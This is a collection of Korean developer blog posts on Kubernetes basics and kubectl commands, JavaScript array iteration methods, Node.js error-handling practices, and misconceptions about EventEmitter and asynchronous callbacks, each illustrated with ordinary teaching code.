NAME                          DESIRED   CURRENT   READY   AGE
nginx-deployment-644599b9c9   2         2         2       109s
```

## 요약

- deployment 생성: `kubectl create deployment [name]`
- deployment 수정: `kubectl edit deployment [name]`
- deployment 삭제: `kubectl delete deployment [name]`

- 각 종 상태보는 명령어 : `kubectl get nodes | pod | services | replicaset | deployment`
- 로그 보기: `kubectl logs [pod name]`
- pod 터미널 들어가기: `kubectl exec -it [pod name] -- bin/bash`
- pod 정보 보기: `kubectl describe pod [pod name]
- 설정파일 적용하기: `kubectl apply -f [filename]`
- 설정파일 삭제하기: `kubectl delete -f [filename]`

---

Source: https://yceffort.kr/2021/06/study-k8s-1.md
Title: K8s 공부 (1)
Description: 무지성에서 시작하는 K8s 공부해보기 시리즈(1)
Date: 2021-06-09
Tags: kubernetes, devops, docker

https://www.youtube.com/watch?v=X48VuDVv0do

## Table of Contents

## 1. K8s는 무엇인가?

### K8s

- 오픈소스 컨테이너 오케스트레이션 도구
- 구글에서 개발
- 컨테이너화된 애플리케이션을 관리하기 쉽게 도와주는 역할
  - 수백~수천개의 다른 환경에 있는 컨테이너에 있는 애플리케이션을 관리하게 쉽게 해준다.

### K8s 는 무엇을 해결하려 하는가?

- 모노리스에서 마이크로 서비스로 트렌드가 넘어가고 있음
  - 그에 따라서 컨테이너가 많아지고 있음
  - 이렇게 다른 환경에 있는 다른 컨테이너들을 쉽게 관리하고자 함

### 오케스트레이션 도구?

- 고가용성으로, 다운타임이 없다
- 확장성이 뛰어나고, 고성능을 제공할 수 있다.
- 장애로부터 복구가 빠르게 이뤄질 수 있다. (백업, 복구)

## 2. K8s 주요 컴포넌트

먼저 아주 간단한 예로, 애플리케이션과 데이터베이스만 있는 서비스를 상상해보자.

### Node

- 여러개의 pod를 묶는 하나의 단위
- 한대의 서버라고 보면됨

### Pod

- K8s에서 가장 작은 단위
- 컨테이너를 추상화 한 것
  - 추상화 한 이유는, 대체 하기 쉽고, docker등 다른 컨테이너 기술을 사용하게 할 수 있게 하기 위함
  - 따라서 직접 다루는게 아니라, K8s의 레이어에서 다룬다고 볼 수 있음
- pod안에는 일반적으로 하나의 애플리케이션 컨테이너만 실행하도록 함.
  - 물론 여러개를 다루는 것도 가능.

위 예제에서는, 하나의 서버에서 두개의 컨테이너가 두개의 pod로 실행되고 있다고 보면 된다.

### Service

- K8s는 내부적으로 가상 네트워크를 활용하며, 각 pod는 고유 ip를 가진다. (컨테이너가 아님)
- 각 pod는 이 내부 ip로 통신 가능
- 그러나 pod는 쉽게 죽고, 쉽게 대체가 가능하며, pod가 죽어버리면 새로운 pod가 생성되는데, 이 때 새로운 ip를 할당받아버리므로 ip를 기준으로 통신하는 것은 비효율적임
- 영구적인 IP 주소를 pod에 주는 도구
- pod의 라이프사이클과 서비스가 공유되는 것은 아니므로, pod가 죽어도 서비스의 ips는 유지됨.
- internal과 external로 나눌 수 있으며, internal은 내부에서만 사용 가능
- external을 사용하면 외부와 통신이 가능하나, IP주소와 PORT가 있는 형태라 외부로 공개하기엔 부적절함

### Ingress

- 서비스를 외부 주소와 연결하는 도구
- 우리가 일반적으로 알고 있는 URL로 external service를 연결해준다.

### ConfigMap

pod가 서비스를 통해서 서로 통신한다는 것을 알게 되었다. 만약 애플리케이션에서 DB의 주소가 필요하다고 하면 어떻게할까? 일반적으로는 환경변수 등을 통해서 DB의 주소 등을 주입할 것이다. (빌드 시) 만약 서비스의 명이나 주소가 바뀌면, 빌드를 새로 해서 다시 해야하는 번거로움이 존재한다.

- 애플리케이션에서 사용하는 외부 변수등을 쓸 수 있게 하는 도구
- pod와 연결하여, ConfigMap에 있는 데이터를 pod에서 가져다가 쓸 수 있음.

### Secret

- 민감한 정보 (암호 등)의 경우에는 ConfigMap을 사용하지 않음
- 보안상 중요한 데이터를 plain text가 아닌 base64로 저장해서 ConfigMap과 같이 동일하게 사용할 수 있는 도구

`ConfigMap`과 `Secret`은 pod에서 환경변수나 속성파일 (yaml, json 등)으로 접근해서 가져다가 쓸 수 있다.

### Volumes

- 데이터베이스의 데이터 같은 경우에는, pod안에 해당 데이터가 있다면 pod가 죽어버리면 그 데이터도 날라가게 된다.
- 영구적인 데이터를 저장하기 위해 쓰는 것이 Volume
- 마치 물리적인 하드디스크를 pod에 붙이는 것이라 볼 수 있음
  - local, remote, cloud등 어떤 형태로든 가능
- Pod가 재시작되도, 데이터는 별도의 위치에 존재하기 때문에 영구성을 유지할 수 있음
- 따라서 이러한 데이터는 K8s 외부에서 잘 관리해야됨.

### Deployment

- 일반적인 경우에는, 사용자가 외부에서 애플리케이션을 접근할 수 없게 된다. 그러므로 하나의 pod만 관리하는 것은 위험
- 따라서 K8s에서는 모든 것을 복제(Replicate)한다.
- Node를 여러개로 복제한다음, 하나의 서비스에 다 연결 시킨다.
- 서비스는 영구적인 IP를 가지고 있고, 내부적으로 로드밸런서도 가지고 있음. 따라서 하나의 pod가 죽거나 바쁘다면, 다른 pod로 알아서 넘겨준다
- 이런식으로 pod를 여러개 복제하기 위해서는 pod의 `blueprint`를 정의해야 한다. 이 `blueprint`에는 얼마나 많은 pod들을 가질 지 정의할 수 있음
- 이러한 나의 애플리케이션 내부의 pod의 `blueprint`를 정의한 것이 Deployment다.
- 일반적으로 K8s에서는, 직접 pod를 만들지 않는다. deployment를 만들고, 그것이 blueprint에 따라서 알아서 pod를 만든다.
- 여러 pod를 추상화 한것으로 보면 된다.

### StatefulSet

- 그러나 데이터베이스는 상태, 즉 데이터가 있기 때문에 deployment로 복제할 수 없음.
  - 만약 여러개로 데이터베이스 pod를 복제한다면, 이들이 같은 volume에 접근하려 할 것이다. 이렇게 되면 터의 불일치가 발생하게 된다.
- 그렇기 때문에 이런 상태가 필요한 pod 들은, Deployment가 아니라 StatefulSet으로 만들어져야 한다.
- 마찬가지로 복제하거나, 스케일링을 할 수 있으며, 데이터 베이스들간에 불일치가 발생하지 않도록 도와주는 역할을 한다
- 이건 deployment에 비해 다루기 어려워서, K8s 외부에서 일반적으로 관리한다

### 요약

- Pod: 컨테이너들을 추상화 한것
- Service: Pod간 통신에 사용
- Ingress: 외부 트래픽을 K8s내부 클러스터로 유입시키기 위한 것
- ConfigMap: 외부 설정
- Secrets: 외부 설정 (보안상 민감한 데이터)
- Volumes: 영구적인 데이터 관리
- Deployment: pod등을 정의하는 것
- Statefulset: 영구적인 데이터를 위한 Deployment

## 3. K8s의 아키텍쳐

일반적으로 master와 slave 노드로 구성되어 작동된다.

- 각 노드들은 여러개의 pod를 실행하고 있다.
- 워커 노드란 일반적인 작업을 하고 있는 노드를 의미한다.
- 노드에는 세가지 프로세스가 필수적으로 필요하다.
  - Container Runtime: 도커 등
  - kublet: pod와 컨테이너의 스케쥴을 관리하는 도구. 컨테이너 런타임과 노드의 머신간에 상호작용을 담당. 실제로 pod를 실행하는 역할을 담당하고 있음. 노드에서 CPU 등의 자원을 할당하는 역할을 하고 있다.
  - kube proxy: 서비스로들어온 요청을 pod에 전달하는 역할. 네트워크의 오버헤드를 줄이기 위해서, 하나의 요청이 들어왔을 때 동일한 pod의 동일한 db로 가게하는 등의 역할도 하고 있음

이러한 프로세스를 관리하는 것이 마스터 노드에서 이루어진다.

### Master Process

여기에는 4개의 process가 필요하다.

- Api server: Cluster gateway, 인증 게이트 키퍼. UI 대쉬보드나, kublet 같은 ci 도구로 노드를 제어할 수 있게 하는 역할. 새로운 pod를 만들거나, 서비스, 컴포넌트를 만들고 싶다면 마스터 서버의 api server를 거치게 된다. api server는 이러한 요청을 검증하고 (인증, 요청의 정합성 등) 이를 다른 프로세스에 전달하여 실행하게 하는 역할을 한다.
- Scheduler: api server로 요청을 보낸다면, 스케쥴러가 이를 받아서 애플리케이션 pod나 컴포넌트를 시작하게 하는 역할을 하고 있음. pod가 어느 노드에 둬야 하는지를 알아서 현명하게 결정함. 노드의 가용성등을 보면서 알아서 결정함. 스케쥴러는 단순히 어느 노드에 pod를 둬야 하는지만 결정함. 그리고 이를 실제로 실행하는 것은 kublet.
- Controller Manager: 클러스터의 상태변화 (pod가 죽는 경우 등)를 감지하여, 이를 가능한 빨리 복구하도록 스케쥴러에게 명령하는 역할을 하고 있음.
- etcd: key-value store. 클러스터의 모든 변화를 기록하는 역할. 클러스터에 필요한 모든 정보가 담겨 있음. (애플리케이션 관련 정보는 없음) 이 정보는 매우 중요하므로, 여러개의 master 노드를 가지고 있음.

### 일반적인 세팅

- 2개의 마스터 노드 (리소스를 적게 할당)
- 3개의 worker node (실제 애플리케이션을 담당하므로 많은 자원을 할당)
- 이들 모두 필요에 따라 증가 시킬 수 있으며, 필요한 프로세스만 설치하면 됨.

![example](./images/example-cluster-setup.png)

---

Source: https://yceffort.kr/2021/06/best-solution-for-looping-over-array.md
Title: for vs for-in vs forEach vs for-of 무엇으로 자바스크립트 리스트를 돌아야 하나
Description: 사소하고 짧은 생각
Date: 2021-06-07
Tags: javascript

자바스크립트에서 배열을 순회하는 방법은 4가지가 있다.

- `for`
- `for-in`
- `forEach`
- `for-of`

각각의 방법을 살펴보면서, 배열을 순회하기 위한 가장 좋은 방법은 무엇인지 나름 결론을 내려본다.

## for

ES1 시절부터 있었던 가장 근-본적인 방법이다.

```javascript
const arr = ['a', 'b', 'c']
arr.prop = 'prop'

for (let i = 0; i < arr.length; i++) {
  const e = arr[i]
  console.log(i, e)
}
// 0 "a"
// 1 "b"
// 2 "c"
```

- 배열의 첫번째 뿐만 아니라 n번째에서 돌 수도 있음
- 단순히 배열을 순회하려는 목적에 비해서 많은 작업이 필요함 (추가적인 변수 선언 및, 증가, 길이 계산 등)

## `for-in`

놀랍게도, `for-in`도 ES1부터 있었던 근-본 방식이다.

```javascript
const arr = ['a', 'b', 'c']
arr.prop = 'prop'

for (const key in arr) {
  console.log(key, typeof key, arr[key])
}

// 0 "string" a
// 1 "string" b
// 2 "string" c
// 3 "string" prop prop
```

위의 코드 실행결과에서 알 수 있듯이, `for-in`을 배열을 순회하는데 쓰는건 별로 좋지 못하다.

- `key` 값만 가져올 수 있음
- `key` 값의 타입에서 볼 수 있다시피, 숫자가 아니고 문자열로 나온다.

```javascript
const arr = [1, 2, 3]
arr[0] === arr['0'] // true
```

> 배열은 `[]` 에서 숫자로도 접근할 수 있기 때문에 객체와 다르다고 생각할 수 있다. 그러나 배열 또한 객체 이므로, `[]`안에 심볼 외의 값이 들어가면 강제로 string으로 변환한다.

- 위에서 볼 수 있는 것 처럼, 모든 enumerable한 키들을 죄다 순회한다.

따라서 `for-in`은 객체가 enumberable한 모든 속성을 순회할 때 사용하는 것이 좋다. 그러나 이 경우에도, 프로토타입 체인을 순회하는 것이 더 낫다.

## `forEach`

ES5에서 추가된 새로운 방법, `Array.prototype.forEach()`이다.

```javascript
const arr = ['a', 'b', 'c']
arr.prop = 'prop'

arr.forEach((e, index) => {
  console.log(e, index)
})

// a 0
// b 1
// c 2
```

꽤 편리한 방법처럼 보인다. 배열의 요소와 인덱스 모두에 접근할 수 있으며, 화살표 함수를 통해서 더욱더 우아하게 코드를 짤 수 있다.

그럼에도, 아래와 같은 단점이 있다.

- `await`을 루프 내부에 쓸 수 없음
- `forEach()` 중간에 루프를 탈출하는 것이 곤란. 다른 문법의 경우엔, `break`로 가능

```javascript
const arr = ['a', 'b', 'c']
arr.forEach((e, index) => {
  console.log(e)
  if (e === 'b') {
    // break Illegal break statement
    return
  }
})
// a
// b
// c
```

아래와 같이 [some](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/some)을 사용하면 탈출할 수 있다.

```javascript
const arr = ['a', 'b', 'c']
arr.some((e, index) => {
  if (e === 'b') {
    return true // break
  }

  console.log(e) // falsy한 값이기 때문에 계속 루프를 돈다.
})
```

그러나 이는 `some`을 의도대로 사용하는 것이 아니거니와, 왜 이런 코드를 짰는지 다른 사람들이 이해하기 어려울 것이다.

## `for-of`

ES6에 나온 가장 최신 기능이다.

```javascript
const arr = ['a', 'b', 'c']
arr.prop = 'prop'

for (const e of arr) {
  console.log(e)
}

// a
// b
// c
```

- 모든 루프를 원하는 대로 순회할 수 있다.
- `await`을 사용한 [for-await-of](https://exploringjs.com/impatient-js/ch_async-iteration.html#for-await-of)가 가능하다.
- `break` `continue`를 사용할 수 있다.

`for-of`를 활용하면, 키만 접근하거나, 혹은 키와 값 모두 접근하거나 하는 것이 모두 가능하다.

```javascript
const arr = ['a', 'b', 'c']
for (const key of arr.keys()) {
  console.log(key, typeof key)
}

// 0 "number"
// 1 "number"
// 2 "number"
```

```javascript
const arr = ['a', 'b', 'c']
for (const [key, value] of arr.entries()) {
  console.log(key, value)
}
// 0 "a"
// 1 "b"
// 2 "c"
```

```javascript
const m = new Map().set(1, 1).set(2, 2).set(3, 3)
for (const [key, value] of m) {
  console.log(key, value)
}

// 1 1
// 2 2
// 3 3
```

## 결론

- `for-of`로 다른 순회문에서 할 수 있는 모든 것을 할 수 있어서 가장 좋다.
- 성능에 대한 비교는 사실 의미가 없을 것 같다. (엄밀히 따지면 `forEach`가 제일 느리다.) 그러나 자바스크립트에서 성능이 유의미할 정도로 순회문을 돌아야 한다면, 웹 어셈블리 등 다른 방법을 알아보는 것이 좋다.
- 여담으로, 적어도 프론트엔드 개발에서 `for-of`를 돌아야 하는 일은 거의 없었던 것 같다. 대부분이 `map` `reduce`를 사용해서 해결할 수 있고, 그 쪽이 더 함수형이고 읽기도 간결하다.

---

Source: https://yceffort.kr/2021/06/error-handling-in-nodejs.md
Title: Nodejs에서 올바르게 에러 처리하기
Description: SSR을 다루면서 에러처리에 대해 고민했던 나날들😑
Date: 2021-06-05
Tags: nodejs, backend, error-handling

Nodejs에서 비동기 프로그래밍을 처음 접해보는 개발자들은, 종종 에러를 제대로 처리하는 방법에 대해서 혼돈을 느끼곤 한다. 비동기 처리의 경우 에러가 제대로 잡히지 않는 경우도 있다. 뭐 어쨌든, 애플리케이션에서 에러를 올바르게 처리했고, 그 에러를 성공적으로 발견했다고 가정하자. 그 다음에 중요한 것은, 방금 잡은 에러에 대해서 어떻게 해야하냐는 것이다. 그냥 로그만 남길까? 그 위로 에러를 한번 더 던져야 하나? 이 에러가 어디서 끝나야 하나? 그렇다면 어떻게? 만약 애플리케이션이 HTTP 요청을 하는 동안, 에러가 났고 이를 잡았다면, 해당 에러를 요청한 사람에게 보여줘야 하나?? 여기에는 수 많은 질문이 있을 수 있다.

먼저, 애플리케이션이 REST API를 다루고 있고, 네트워크를 통해 하나이상의 다른 서비스와 통신하는 nodejs 기반 마이크로 서비스라고 가정해보자. 그렇다면, 여기에서 우리가 다뤄야 하는 것은 무엇일까?

- 가능한 모든 에러의 결과물에 대해서 예측 가능해야 한다.
- 수동으로 개입하지 않아도 심각한 에러에서 스스로 복구 될 수 있어야 한다.
- HTTP 요청을 처리하는 동안 발생한 오류는, 클라이언트가 이를 기반으로 작업을 수행하는데 도움이 될 수 있는 최소한의 정보와 함께 클라이언트에 전달되어야 한다.
- 오류의 근본적인 원인을 쉽게 추적할 수 있고 디버깅하기도 쉬워야 한다.

## 1. 비동기 에러를 정확히 잡아야 한다

비동기 코드를 작성하는데 익숙하지 않다면, 비동기 상황에서 발생하는 에러를 처리하는 코드를 작성하기 어려울 수 있다. 일반적으로, 이를 처리하는 세가지 정도의 패턴이 있다.

- callback: [error-first callback](https://nodejs.org/api/errors.html#errors_error_first_callbacks) 접근법. 이 상황 에서는 `try-catch`가 별로 도움이 안된다.

```javascript
function myAsyncFunction(callback) {
  setTimeout(() => {
    callback(new Error('oops'))
  }, 1000)
}

myAsyncFunction((err) => {
  if (err) {
    // handle error
  } else {
    // happy path
  }
})
```

- promises와 promise callback을 사용하는 방법

```javascript
function myAsyncFunction() {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      reject(new Error('oops'))
    }, 1000)
  })
}

myAsyncFunction()
  .then(() => {
    // happy path
  })
  .catch((err) => {
    // handle error
  })
```

- `async-await`와 resolve promise (혹은 ES6 generator & yield)

```javascript
function myAsyncFunction() {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      reject(new Error('oops'))
    }, 1000)
  })
}

;(async () => {
  try {
    await myAsyncFunction()
    // happy path
  } catch (err) {
    // handle error
  }
})()
```

`await`을 사용하게 되면 조금 시나리오가 다르다. 다음 두 가지 예를 보자.

```javascript
// Example 1
try {
  return await myAsyncFunction()
} catch (err) {
  // await을 사용했기 때문에 여기서 함수에서 에러가 나면 잡히게 된다.
}

// Example 2
try {
  return myAsyncFunction()
} catch (err) {
  // promise가 resolve된게 아니고, 단순히 리턴이 되어버렸기 때문에 여기에 닿을 수가 없다.
}
```

따라서 비동기 함수에서 에러를 처리하려고 할 때는 조심해야 한다.

## 2. uncaught exception이나 unhandled rejections에 대해 적절하게 처리해야 한다.

진짜 열심히 코딩을 해서 대부분의 잠재적인 오류 시나리오를 쫀쫀하게 처리했다고 하더라고, 내가 예상했던 시나리오를 벗어나는 에러가 발생할 수 있다. 이러한 시나리오를 일괄적으로 파악해서 처리할 수 있다. 프로세스 객체에서 내보내는 두가지 이벤트 `uncaughtException`, `unhandledRejection`를 사용하면 가능하다. 그러나 이를 적절하게 활용하지 않는다면 예기치 못한 상황이 발생 될 수 있다.

`uncaughtException`, `unhandledRejection`는 애플리케이션이 지속할 수 없는 상황을 의미한다. 여기에 리스너를 달 때는, 아래 사항을 조심해야 한다.

- 에러에 대해 명확하게 로그를 남겨서 추후에 원인 파악을 할 수 있게 할 것 (로그 관리 시스템 또는 APM 서버에 전송)
- 애플리케이션을 강제로 종료하여, 프로세스 매니저나 도커 오케스트레이터가 이를 대체할 프로세스를 시작 할 수 있도록 한다.

위 두 상황에서 프로세스를 종료하지 않고 계속 애플리케이션을 실행한다면, 애플리케이션이 멈추거나 예기치못한 동작을 빚을 수 있다.

```javascript
process.on('uncaughtException', (err) => {
  logger.fatal('an uncaught exception detected', err)
  process.exit(-1)
})

process.on('unhandledRejection', (err) => {
  logger.fatal('an unhandled rejection detected', err)
  process.exit(-1)
})
```

## 3. 에러 마스킹

대부분의 개발자들이 저지르는 또하나의 실수중 하나는 오류를 마스킹 하여 콜스택 아래의 호출자가 오류가 발생했음을 인식하지 못하게 하는 것이다. 경우에 따라서 이렇게 해야하는 경우도 있지만, 무지성으로 이 작업을 수행해버리면 오류를 추적하고 진단하는 것이 불가능하게 되어 애플리케이션의 심각한 다운타임으로 이어진다.

```javascript
function processUsers() {
  try {
    const body = await client.get('http://example.com/users')
    const users = body.users || []
    // do something with users
  } catch (err) {
    // handle error
    // client.get에서 에러가 나든 users처리하다 에러가 나든 상관없다면 이렇게 해도된다.
    // 그러나 이렇게 여러 경우의 수를 묶어버리면 에러에 대한 문제를 정확히 찾기 어렵다.
  }
}
```

이러한 코드는 에러에 대한 로그처리를 다른 곳에서 진행했고, 현재 함수로 부터 더 이상 에러가 올라가도 되지 않아도 된다는 자신감이 있을 때만 해야 한다. (HTTP 요청 에러가 클라이언트로 가지 말아야 한다거나) 그렇지 않으면, 어떠한 유형의 오류가 발생했는지 정확히 확인하고, 아래 호출자에서 무엇이 잘못되었는지 정확히 알 수 있도록 에러를 던져야 한다.

## 4. 제네릭 에러를 정확한 에러로 변환해야 한다.

애플리케이션이 에러의 유형에 따라 다른 행동을 해야 하는 경우, 에러 객체를 특정 에러 객체로 변환하는 것이 중요하다.

```javascript
if (err instanceof AuthenticationError) {
  return res.status(401).send('not authenticated')
}

if (err instanceof UnauthorizedError) {
  return res.status(403).send('forbidden')
}

if (err instanceof InvalidInputError) {
  return res.status(400).send('bad request')
}

if (err instanceof DuplicateKeyError) {
  return res.status(409).send('conflict. entity already exists')
}

// Generic error
return res.status(500).send('internal error occurred')
```

자바스크립트의 `Error`는 매우 제네릭하다.따라서 에러를 명확히 하기 위해서는, `error.message` `error.code` `error.stack` 속성을 확인해봐야 한다. 그러나 이는 꽤 규모있는 애플리케이션을 처리하는 경우에는 불편할 수 있다. Nodejs에는 `TypeError` `SyntaxError` `RangeError`와 같은 [구체적인 에러](https://nodejs.org/dist/latest-v12.x/docs/api/errors.html#errors_class_assertionerror)들이 몇가지 있다. 그러나 모든 경우에 이들을 재사용할 수 있는 건 아니다.

이를 위해서는, 나만의 에러 유형을 정의하고 적시에 올바른 에러를 던져야 한다.

```javascript
class UserServiceError extends Error {
  constructor(...args) {
    super(...args)
    this.code = 'ERR_USER_SERVICE'
    this.name = 'UserServiceError'
    this.stack = `${this.message}\n${new Error().stack}`
  }
}

class InvalidInputError extends Error {
  constructor(...args) {
    super(...args)
    this.code = 'ERR_INVALID_INPUT'
    this.name = 'InvalidInputError'
    this.stack = `${this.message}\n${new Error().stack}`
  }
}

async function getUser(userId) {
  if (!userId) throw new InvalidInputError('userId is not provided')

  try {
    return getUserFromApi(userId)
  } catch (err) {
    throw new UserServiceError(err.message)
  }
}
```

이렇게 처리하면, 다른 개발자들에게 에러 코드 목록을 보여주거나, 에러가 발생할 때 마다 코드를 확인하여 처리할 필요가 없다.

## 5. 외부 서비스의 예기치 못한 상황에 대처하기

만약 외부 서비스를 사용해야 하는 경우가 있다면, 가능한 잘못될 수 있는 모든 시나리오에 대처할 필요가 있다.

```javascript
function processUsers() {
  try {
    const body = await client.get('http://example.com/users')
    const users = body.users || []
    // do something with users
  } catch (err) {
    // handle error
  }
}
```

위 예제에서, 사용자 목록을 불러오기 위해서는, api가 성공 응답(200)에서만 객체를 반환한다고 가정한다. 결과가 있다면 베열이 될 수도 있고, 없다면 null이 될 수도 있는 users 속성이 있다고 가정해보자.

만약 api 개발자들이 `body.users`가 외 다른 곳에서 결과가 오도록 객체의 응답구조를 변경한다면? 애플리케이션은 기본값 `[]`를 사용하여 계속 실행되며, 어떤일이 발생했는지 알 수 없게 된다.

항상 다른 서비스를 사용할 때는 엄격하게 대처할 필요가 있다. 비정상적인 방법으로 계속 서비스 하는 것보다, 애플리케이션이 빠르게 실패하는 것이 좋다. 이렇게 하면 잠재적으로 발생할 수 있는 문제를 빠르게 식별할 수 있고, 데이터 손상이나 불일치 등을 막을 수 있다.

## 6. 에러 별로 적절한 로그 레벨을 사용하기

적절한 로그 레벨을 선택하여 로그를 남기는 것은 중요하다. 모든 로그 라이브러리는 일반적으로 서로 다른 레벨의 로그를 기록할 수 있고, 각 수준의 로그를 다른 대상 (`stdout` `syslog` `file`) 으로 보낼 수 있다. 이 작업을 제대로 수행하기 위해서는, 메시지의 중요도에 따라 올바른 로그레벨을 선택해야 한다.

- `debug`: 심각하지 않는 메시지. 후에 디버그를 위해서 필요한 경우
- `info`: 성공(또는 실패하지 않는) 작업을 식별하는데 필요한 정보성 메시지
- `warn`: 즉각적인 액션이 필요하지 않은 경고성 메시지. 그러나 추후에 디버깅을 위해서 필요한 경우
- `error`: 즉각적인 액션이 필요한 모든 에러. 이 에러를 무시할 경우 심각한 시나리오로 이어지는 경우
- `fatal`: 서비스 중단 과 같은 중요 구성요소의 장애를 나타내는 모든 오류

위와 같은 규칙을 엄격히 준수한다면, 잘못된 경보가 울리지 않는 상태에서 중요하거나 필요한 문제를 즉시 식별할 수 있다.

---

Source: https://yceffort.kr/2021/06/misconceptions-on-nodejs.md
Title: Nodejs에 대한 잘못된 상식 몇가지
Description: Nodejs도 CPU 집약적인 작업 잘 할 수 있습니다(?)
Date: 2021-06-04
Tags: nodejs

Nodejs는 2009년 만들어진 이래로 많은 사랑을 받고 있는데, 아마도 그 이유 중 하나는 자바스크립트로 작성할 수 있다는 사실 일 것이다. nodejs는 그 이름에서 느낄 수 있는 것처럼, 서버사이드 애플리케이션을 자바스크립트로 작성할 수 있도록 만들어졌다. 그렇다고 해서, nodejs가 100% 자바스크립트로 이루어져있는 것은 아니다.

자바스크립트는 싱글 스레드로, 언어가 처음 디자인 되었을 때는 서버사이드에서 실행되기에는 부적절하게 디자인 되어 있었다. 그러나 구글의 고성능 자바스크립트 엔진인 V8이 등장과, 비동기 I/O 를 수행하는 libuv의 탄생, 그리고 몇가지 기술들이 추가되면서 자바스크립트로 몇천개의 소켓 연결이 일어나는 서버를 구현할 수 있게 됐다.

![nodejs](https://miro.medium.com/max/3840/1*-0Sa0i_g-gcL9sJqvecKEw.png)

> 이미 몇번씩이나 본 nodejs의 구조

nodejs는 위 그림에서 볼 수 있는 것처럼 여러가지 컴포넌트로 구성된 대규모 플랫폼이다. 그러나 nodejs 내부 동작에 대한 이해가 부족하기 때문에, 많은 개발자들이 잘못된 가정을 가지고 개발을 하며, 이로인해 추적하기 어려운 버그를 만들고 심각한 성능 문제로 이어지는 애플리케이션을 만들어 낸다. 여기서 몇가지 nodejs의 잘못된 이해에 대해 짚고 넘어가려고 한다.

## Table of Contents

## EventEmitter와 EventLoop간에 관계가 있다?

[Nodejs EventEmitter](https://nodejs.org/api/events.html)는 nodejs 애플리케이션을 만들다보면 많이 사용하게 되는 라이브러리다. 그러나 이름만 비슷할 뿐, EventEmitter와 EventLoop사이에는 아무런 관계가 없다.

Nodejs의 EventLoop는 Nodejs의 비동기, 논블로킹 I/O 메커니즘을 처리하는 핵심적인 부분이다. EventLoop는 다양한 유형의 비동기 이벤트를 특정 순서로 처리한다. EventLoop에 대한 글은 인터넷에 차고 넘치니.. 더 이상 자세한 설명은 생략한다

- https://yceffort.kr/2019/09/06/javascript-event-loop
- https://yceffort.kr/2020/10/how-node-js-works
- https://blog.insiderattack.net/event-loop-and-the-big-picture-nodejs-event-loop-part-1-1cb67a182810

반면에 Nodejs의 EventEmitter는 특정 이벤트에 리스너 함수를 달아서, 이벤트가 발생 했을 때 이를 캐치할 수 있도록 만들어진 api다. 이 동작은 일반적으로 이벤트 리스너가 원래 등록된 이벤트 헨들러보다 나중에 호출되기 때문에 비동기처럼 보인다.

그러나 EventEmitter의 인스턴스는 EventEmitter 인스턴스 자체내에서 이벤트와 연결된 모든 이벤트와 리스너를 추적한다. 따라서 EventLoop의 큐를 사용하는 것이 아니다. 이 정보가 저장되는 데이터 구조는, 단순히 이벤트 이름이 있는 이벤트 객체일 뿐이다. 그리고 그 값은 이벤트 리스너 함수들이 들어가 있는 배열일 뿐이다.

> 대략 이런 느낌 https://yceffort.kr/2020/10/implement-event-emitter

![EventEmitter](https://miro.medium.com/max/2180/1*9dCC-WJOstRw8vL1v5C6cA.jpeg)

EventEmitter의 `emit`함수가 호출되면, emitter는 **동기적으로** 등록되어 있는 리스너 함수를 순차적으로 호출한다.

```javascript
const EventEmitter = require('events')

const myEmitter = new EventEmitter()

myEmitter.on('myevent', () => console.log('handler1: myevent was fired!'))
myEmitter.on('myevent', () => console.log('handler2: myevent was fired!'))
myEmitter.on('myevent', () => console.log('handler3: myevent was fired!'))

myEmitter.emit('myevent')
console.log('I am the last log line')
```

```text
handler1: myevent was fired!
handler2: myevent was fired!
handler3: myevent was fired!
I am the last log line
```

EventEmitter가 동기적으로 모든 이벤트 핸들러를 호출하기 때문에, `I am the last log line`는 모든 리스너 함수가 실행되기 전까지 출력되지 않는다.

## 콜백을 받는 모든 함수는 비동기로 실행된다?

함수가 동기인지 비동기 인지는 함수가 실행중에 비동기 리소스를 생성하는지 여부에 따라 달려 있다. 따라서 아래에 주어진 함수를 사용하고 있다면, 함수가 비동기인지 여부를 판단할 수 있다.

- 자바스크립트/Nodejs의 네이티브 비동기 함수: `setTimeout` `setInterval` `setImmediate` `process.nextTick` ...
- nodejs만으이 네이티브 비동기 함수: `child_process` `fs` `net` ...
- `Promise` API (`async` `await`)
- [c++ addon](https://nodejs.org/docs/latest/api/n-api.html)으로 부터 호출되어 비동기로 작성된 함수 [becrypt](https://www.npmjs.com/package/bcrypt)

콜백함수를 argument로 받아도 함수가 비동기화 되는 것이 아니다. 그러나 일반적으로 비동기 함수는 콜백을 마지막 인수로 받는다. (Promise를 리턴하기 위해 랩핑되지 않는 한) 콜백을 받고, 그 결과를 콜백을 전달하는 패턴을 [Continuation Passing Style](https://en.wikipedia.org/wiki/Continuation-passing_style)이라고 한다. 이 스타일을 하면, 100% 동기함수를 작성할 수 있다.

```javascript
const sum = (a, b, callback) => {
  callback(a + b)
}

sum(1, 2, (result) => {
  console.log(result)
})
```

동기 함수와 비동기 함수는 실행 중에 스택을 사용하는 방법에 있어 큰 차이가 존재한다. 동기 함수는 스택이 반환될 때 까지, 다른 사용자가 스택을 점유할 수 없도록 하여 전체 실행기간 동안 스택을 점유 한다. 그러나 비동기 함수는 일부 비동기 작업을 예약한 채로 즉시 반환되므로, 스택에서 제거된다. 예약된 비동기 작업이 완료되면 제공된 콜백이 호출되고, 이 콜백 함수가 다시 스택을 점유하게 된다. 이 시점에서 비동기 작업을 시작한 함수는 이미 리턴되어버렸으므로 스택에서 더 이상 사용할 수가 없다.

그렇다면, 아래 함수는 동기일까 비동기 일까?

```javascript
function writeToMyFile(data, callback) {
  if (!data) {
    callback(new Error('No data!'))
  } else {
    fs.writeFile('myfile.txt', data, callback)
  }
}
```

정답은, `data`로 무슨 값이 오느냐에 따라 다르다. `data`가 `falsy` 한 값이라면 콜백은 즉시실행되어 에러를 뱉는다. 이 경우, 함수는 100% 동기로 작동되어 어떠한 비동기 작업도 수행하지 않는다.

반대로, `data`가 `truthy`한 값이라면, `data`가 `myfile.txt`에 쓰여지기 시작하고, I/O작업이 끝나게 되면 콜백이 실행된다. 이 경우 파일 I/O 작업이 수행되므로, 100% 비동기다.

함수를 이따위(?)로 일관적이지 못하게 작성하는 것(= 비동기일수도 동기일수도 있게)은 애플리케이션이 함수의 동작을 예측할 수 없기 때문에 매우 별로다.

```javascript
function writeToMyFile(data, callback) {
  if (!data) {
    process.nextTick(() => callback(new Error('No data!')))
  } else {
    fs.writeFile('myfile.txt', data, callback)
  }
}
```

